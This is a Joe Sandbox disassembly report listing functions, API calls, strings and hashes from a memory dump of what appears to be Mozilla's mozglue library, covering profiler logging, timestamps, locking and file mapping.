?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC1DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CC1DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CC1E00E
<none>, xrefs: 6CC1DFD7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: d0a5f409b01c6f8426fba226fbdaf1232a6bf45d84c0722f21381a1fa1b9634c
Instruction ID: 3d05da4a7fc14529b3119e8d2a4749f85931847edf9603a61d631588c5fb6237
Opcode Fuzzy Hash: d0a5f409b01c6f8426fba226fbdaf1232a6bf45d84c0722f21381a1fa1b9634c
Instruction Fuzzy Hash: DD414631B052109FDB159F6AD8087AEBB75EF4230DF840019E909A7F01EB719929DBF6

Function 6CC2D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC2D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D918
GetCurrentThreadId.KERNEL32 ref: 6CC2D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D970
GetCurrentThreadId.KERNEL32 ref: 6CC2D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC2DA2E
GetCurrentThreadId.KERNEL32 ref: 6CC2DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CC2DA91

Part of subcall function 6CBF5C50: GetTickCount64.KERNEL32 ref: 6CBF5D40
Part of subcall function 6CBF5C50: EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2DAB7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f9e6bf4eb6e836d31d705637902ab64418ea688e0d19b2be71972b43c14d81bd
Instruction ID: d4a834fa108fc0cec0e0b8e0ffb1f2cfd8c825c4a1d27bf9f086fa1cbb76f95e
Opcode Fuzzy Hash: f9e6bf4eb6e836d31d705637902ab64418ea688e0d19b2be71972b43c14d81bd
Instruction Fuzzy Hash: 4971CF31604304DFCB00DF29C888B9ABBF5FF89314F59856DE85AAB301EB34A945CB91

Function 6CC2D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC2D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D52A
GetCurrentThreadId.KERNEL32 ref: 6CC2D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D55F
free.MOZGLUE(00000000), ref: 6CC2D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC2D5D3
GetCurrentThreadId.KERNEL32 ref: 6CC2D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D652
GetCurrentThreadId.KERNEL32 ref: 6CC2D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC2D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC2D6A2

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 5c2b63f9f886dc27516a8ffaad45b476221a5d5be5f2a0b3b4ca060c3b5fb858
Instruction ID: 50c73f623613663a5fc91b949115de2f4354e0c2faf3c44a494cd05fe8eb1ecc
Opcode Fuzzy Hash: 5c2b63f9f886dc27516a8ffaad45b476221a5d5be5f2a0b3b4ca060c3b5fb858
Instruction Fuzzy Hash: E2517BB1604705DFC704CF25C498A9ABBF4FF89318F508A2EE85A97710EB74E855CB91

Function 6CBF5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CBF56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBF56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CBF56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CBF5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CBF57BC
GetTickCount64.KERNEL32 ref: 6CBF58CB
EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF58F3
__aulldiv.LIBCMT ref: 6CBF5945
LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBF59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CC5F638,?,?,?,?), ref: 6CBF59E9

Strings

MOZ_APP_RESTART, xrefs: 6CBF56CC

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: a33c052d8604d4a8de65b639773c7f9f26d72678a3e6ecbe2e2f9c40773859ab
Instruction ID: db9563485181ba7e5dbc05120d59c937084d95e95e2674583f3b43f5cedafa27
Opcode Fuzzy Hash: a33c052d8604d4a8de65b639773c7f9f26d72678a3e6ecbe2e2f9c40773859ab
Instruction Fuzzy Hash: 26C15B31A087809FD709CF28C44065ABBF1FF9A714F45CA1DE4D4A7761DB30A89ACB86

Function 6CC1EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBE4A68), ref: 6CC1945E
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC19470
Part of subcall function 6CC19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC19482
Part of subcall function 6CC19420: __Init_thread_footer.LIBCMT ref: 6CC1949F

GetCurrentThreadId.KERNEL32 ref: 6CC1EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1EC8C

Part of subcall function 6CC194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC194EE
Part of subcall function 6CC194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC19508

GetCurrentThreadId.KERNEL32 ref: 6CC1ECA1
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CC1ECC5
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC1ED19
CloseHandle.KERNEL32(?), ref: 6CC1ED28
free.MOZGLUE(00000000), ref: 6CC1ED2F
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CC1EC94

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8ca35b0e1230af44280ff85cafb8aab4da43625cd87575f60b43e0cc42d25f1d
Instruction ID: 9506432672a7ad9b167417533c18b96d86a4431feceabcf95d60a231240a66ba
Opcode Fuzzy Hash: 8ca35b0e1230af44280ff85cafb8aab4da43625cd87575f60b43e0cc42d25f1d
Instruction Fuzzy Hash: 0521F375604104AFDF019F26D818AAA7B79EF4636CF944214FC18E7F40EB7198258BA1

Function 6CC18ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBDEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CC1B392,?,?,00000001), ref: 6CC191F4

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

Strings

marker-table, xrefs: 6CC1906C
timeline-ipc, xrefs: 6CC19096
timeline-fileio, xrefs: 6CC190A4
marker-chart, xrefs: 6CC1905E
stack-chart, xrefs: 6CC190B2
data, xrefs: 6CC190E8
timeline-memory, xrefs: 6CC19088
timeline-overview, xrefs: 6CC1907A
name, xrefs: 6CC18F16

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f8d347f603ddba9a230ce0668614379115261f12303fba7309827f9dab719528
Instruction ID: 8f75488ae7c1aa41df1d569d13c1731e096e3d39e8c2afabd4dd9bbee293fd2d
Opcode Fuzzy Hash: f8d347f603ddba9a230ce0668614379115261f12303fba7309827f9dab719528
Instruction Fuzzy Hash: 11B1F5B1A042499FDB04CF99C491BEEBBB5FF85358F508019D402ABF80E731A955CBD1

Function 6CBFC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBFC5A3
WideCharToMultiByte.KERNEL32 ref: 6CBFC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CBFC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CBFCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBFCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBFCAA5

Strings

(null), xrefs: 6CBFC596
0, xrefs: 6CBFD30A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: cb6bd4690ebc067b9d4ff592a816934b6b46e1a4d9276eddbd897251fcefdd45
Instruction ID: 237f05f3bcf6903b2f67eca7fe648095df2fa19abe1433ee7961c5c0a247034a
Opcode Fuzzy Hash: cb6bd4690ebc067b9d4ff592a816934b6b46e1a4d9276eddbd897251fcefdd45
Instruction Fuzzy Hash: 82A1BC306083829FDB11DF29C94475BBBF1EF89748F04892DE9A997741D771E84ACB82

Function 6CBFC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBFC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CBFC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CBFC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBFC891

Strings

nan, xrefs: 6CBFC7A8
inf, xrefs: 6CBFC78F
NAN, xrefs: 6CBFC7AD
INF, xrefs: 6CBFC794

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: a7c1e5e6cf8a06e07c2351cb2ec938d95929ff9ae85de76062425e48d2aad763
Instruction ID: afb1f2cdce417b57b8566cef2dc99efbedf6ec5616e1d46401e18a6ead72c4cb
Opcode Fuzzy Hash: a7c1e5e6cf8a06e07c2351cb2ec938d95929ff9ae85de76062425e48d2aad763
Instruction Fuzzy Hash: FE5195705087848BD710EF2CC48129AFBF0BF8A349F408A1DE9E5A7751E771D98A8B43

Function 6CBD4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CC14843,?), ref: 6CBD45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CC14843,?), ref: 6CBD468A
free.MOZGLUE(?,?,?,?,?,?,6CC14843,?), ref: 6CBD46C9
free.MOZGLUE(?), ref: 6CBD46EF
free.MOZGLUE(?), ref: 6CBD4712
free.MOZGLUE(?), ref: 6CBD4735
free.MOZGLUE(?), ref: 6CBD4758
free.MOZGLUE(?), ref: 6CBD477B
free.MOZGLUE(?), ref: 6CBD479E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 732d7e1852d2a1a24ab538f4145ab0c919c16ca2beed6318c25465fe28a33077
Instruction ID: 3e7581306ea2ec97dd6a7e63ae4c59391eba7e11b832ada419529b9fedb71e01
Opcode Fuzzy Hash: 732d7e1852d2a1a24ab538f4145ab0c919c16ca2beed6318c25465fe28a33077
Instruction Fuzzy Hash: 91B1F571A001918FDB18CF7CD89076D77A2EF42328F1A4679E416DBB96D731E8848F92

Function 6CC3AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC3AC52
CreateFileMappingW.KERNEL32 ref: 6CC3AC7D
GetSystemInfo.KERNEL32 ref: 6CC3AC98
MapViewOfFile.KERNEL32 ref: 6CC3ACB0
GetSystemInfo.KERNEL32 ref: 6CC3ACCD
MapViewOfFile.KERNEL32 ref: 6CC3AD05
UnmapViewOfFile.KERNEL32 ref: 6CC3AD1C
CloseHandle.KERNEL32 ref: 6CC3AD28
UnmapViewOfFile.KERNEL32 ref: 6CC3AD37
CloseHandle.KERNEL32 ref: 6CC3AD43
CloseHandle.KERNEL32 ref: 6CC3AD67

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: a51839382684fa6d1a3d5f83b14b4712aa432f6970233ae859fd2be9f6751c25
Instruction ID: e7073596573cb6f517462b7b43e407179fb0c2f7df4064bb41b36fa3c074326e
Opcode Fuzzy Hash: a51839382684fa6d1a3d5f83b14b4712aa432f6970233ae859fd2be9f6751c25
Instruction Fuzzy Hash: 4D3142B1A047058FDB00EF79D64866EBFF0BF85305F458A2DE98997251EB709468CB82

Function 6CBE9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBE9675
__Init_thread_footer.LIBCMT ref: 6CBE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBE9707
__Init_thread_footer.LIBCMT ref: 6CBE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBE9773

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBE97B7
FreeLibrary.KERNEL32 ref: 6CBE97D0
FreeLibrary.KERNEL32 ref: 6CBE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBE9824

Strings

MapViewOfFileNuma2, xrefs: 6CBE97B1
ntdll.dll, xrefs: 6CBE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBE9670
NtMapViewOfSection, xrefs: 6CBE9701

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: ae17d1aa7079d943a88215a2da4041d00931cc37431ab4bb4eb422b78cd2b5ad
Instruction ID: c7125e0417b977dd9b3a5a8a3e1ff89376b465dd140a73d163ac3711008641d3
Opcode Fuzzy Hash: ae17d1aa7079d943a88215a2da4041d00931cc37431ab4bb4eb422b78cd2b5ad
Instruction Fuzzy Hash: 284190B5B002059FDF04DFA5E884E967BB4FB497A4F804529ED15A7740E730E828CBA2

Function 6CBD1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBD1EC1
LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBD1EE1
EnterCriticalSection.KERNEL32(6CC5E744), ref: 6CBD1F38
LeaveCriticalSection.KERNEL32(6CC5E744), ref: 6CBD1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CBD1F83
LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBD1FC0
EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBD1FE2
LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBD1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD2019

Strings

MOZ_CRASH(), xrefs: 6CBD2000

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: f5a415b7aa9f831a06095d3f5880e6a4d4bac1b8cbf288f40a9e4d1f928e2558
Instruction ID: 40ce1a21b9312fd5f52f851d9dfaaf55a28bc9ed821e20415a84769112f7ec46
Opcode Fuzzy Hash: f5a415b7aa9f831a06095d3f5880e6a4d4bac1b8cbf288f40a9e4d1f928e2558
Instruction Fuzzy Hash: 2C412671B013558FDF008F78C884B6A3BB5EF49398F490029E904A7741EBB5E824CBD6

Function 6CBE7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE7EA7
malloc.MOZGLUE(00000001), ref: 6CBE7EB3

Part of subcall function 6CBECAB0: EnterCriticalSection.KERNEL32(?), ref: 6CBECB49
Part of subcall function 6CBECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CBECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CBE7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CBE7F19
malloc.MOZGLUE(?), ref: 6CBE7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBE7F4D

Strings

d, xrefs: 6CBE7F89

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b1408ec9c120d4e4a72aea1c80f7cd12d33419948f0d604caad3044b2c498c8b
Instruction ID: d510b7fcf03ce4c8de056fa0454221004038b2963527a62b8099842dda13ae19
Opcode Fuzzy Hash: b1408ec9c120d4e4a72aea1c80f7cd12d33419948f0d604caad3044b2c498c8b
Instruction Fuzzy Hash: A931E561E0068897DB00AB68CC449FEB778EF9664CF44D229ED4967612FB31A9D8C391

Function 6CBE3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CBE3EEE
RtlFreeHeap.NTDLL ref: 6CBE3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CBE4006
